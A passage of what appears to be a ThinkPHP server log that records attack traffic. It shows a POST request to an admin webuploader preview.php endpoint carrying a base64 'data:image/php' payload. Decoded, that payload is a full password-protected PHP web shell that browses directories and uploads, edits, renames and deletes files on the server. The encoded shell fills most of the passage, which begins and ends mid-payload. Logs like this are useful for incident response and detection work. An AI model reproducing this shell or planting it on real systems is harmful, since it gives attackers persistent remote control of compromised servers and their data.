DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:04:39+08:00 ] 119.42.146.234 POST 59.110.137.245/admin/lib/webuploader/preview.php [运行时间:0.002748s] [吞吐率:363.90req/s] [内存消耗:196.70kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'admin', 2 => 'lib', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGV